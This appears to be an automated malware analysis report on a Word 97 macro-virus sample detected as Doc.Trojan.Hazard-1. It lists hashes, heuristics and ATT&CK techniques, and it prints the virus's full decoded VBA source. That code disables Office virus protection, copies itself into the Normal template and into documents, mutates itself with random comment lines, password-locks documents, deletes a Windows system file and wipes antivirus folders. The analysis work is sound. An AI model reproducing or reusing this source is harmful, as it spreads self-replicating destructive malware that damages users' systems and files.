Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48a45df893018bc9…

MALICIOUS

Office (OLE)

32.5 KB Created: 1998-04-06 15:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eaa3e520b22c54a34c10f8c66cdbb633 SHA-1: 2843880d8a16bb4a31ef971f496445cf6a3bdab9 SHA-256: 48a45df893018bc905026dc7838f878a7638834b8f3f561fd8365a7e9d83d380
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a legacy WordBasic macro-virus by ClamAV, and contains an AutoOpen macro. This macro attempts to infect the current document and the Normal template with a component named 'Biohazard', indicating a self-propagating malicious document. The presence of legacy macro markers and the AutoOpen subroutine strongly suggest a malicious intent to spread.

Heuristics 5

  • ClamAV: Doc.Trojan.Hazard-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hazard-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3420 bytes
SHA-256: 132693dab93043c3954cfba56f4990f5741b67814cada440266bc5e85be06277
Detection
ClamAV: Doc.Trojan.Hazard-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Biohazard"
'**********************************************************************
'*                      WM97.BIOHAZARD BY ULTRAS
'*                           [Rioters Group]
'**********************************************************************
Sub AutoOpen()
On Error Resume Next
PolyMorphic
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
DocInfect = False
GlobInfect = False
For b = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(b).Name = "Biohazard" Then
DocInfect = True
End If
Next
For U = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(U).Name = "Biohazard" Then
GlobInfect = True
End If
Next
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Biohazard", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Biohazard", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll
End Sub

Sub FileTemplates()
beep
End Sub

Sub ToolsMacro()
beep
Msgbox "Not enough memory to perform this operation", vbCritical + vbOKOnly + vbMsgBoxHelpButton + vbDefaultButton2, "Microsoft Word"
End Sub


Sub ToolsCustomize()
beep
End Sub

Sub ViewVBCode()
beep
Msgbox "Not enough memory to perform this operation", vbCritical + vbOKOnly + vbMsgBoxHelpButton + vbDefaultButton2, "Microsoft Word"
End Sub

Sub PolyMorphic()
On Error Resume Next
Biohazard
Set Engine = MacroContainer
PoNu = Int(Rnd() * 20 + 1)
For Mutate = 1 To PoNu
PoNuG = Engine.VBProject.VBComponents("Biohazard").CodeModule.ProcCountLines("PolyMorphic", vbext_pk_Proc)
PoRL = Int(Rnd() * PoNuG + 1)
PoRNL = Int(Rnd() * 40 + 1)
For PoL = 1 To PoRNL
PoR = PoR + Chr$(Int((90 - 65 + 1) * Rnd + 65))
Next PoL
Engine.VBProject.VBComponents("Biohazard").CodeModule.InsertLines PoRL, vbTab & "REM " & PoR
PoR = ""
Next Mutate
End Sub

Sub Biohazard()
On Error Resume Next
U = Int(Rnd() * 30) + 1
If Day(Now()) = U Then
For i = 1 To 15
LiVe = Int(Rnd() * (90 - 16) + 16)
PoBi = PoBi + Chr$(LiVe)
Next
ActiveDocument.Password = PoBi
ActiveDocument.Save
End If
If Day(Now()) = 9 Then
SetAttr "c:\Windows\System\vmm32.vxd", 0
Kill "c:\Windows\System\vmm32.vxd"
Do
Msgbox "You Infected Biohazard by ULTRAS" & vbCrLf & "[Rioters Group]", vbCritical + vbOKOnly, "ULTRAS"
Loop
End If
KillAV
End Sub

Sub KillAV()
On Error Resume Next
Kill "C:\Program Files\AntiViral Toolkit Pro\*.*"
Kill "C:\Program Files\Command Software\F-PROT95\*.*"
Kill "C:\Program Files\McAfee\VirusScan\*.*"
Kill "C:\Program Files\Norton AntiVirus\*.*"
Kill "C:\Toolkit\FindVirus\*.*"
Kill "C:\PC-Cillin 95\*.*"
Kill "C:\PC-Cillin 97\*.*"
Kill "C:\f-macro\*.*"
Kill "C:\Tbavw95\*.*"
Kill "C:\Vdoc\*.*"
End Sub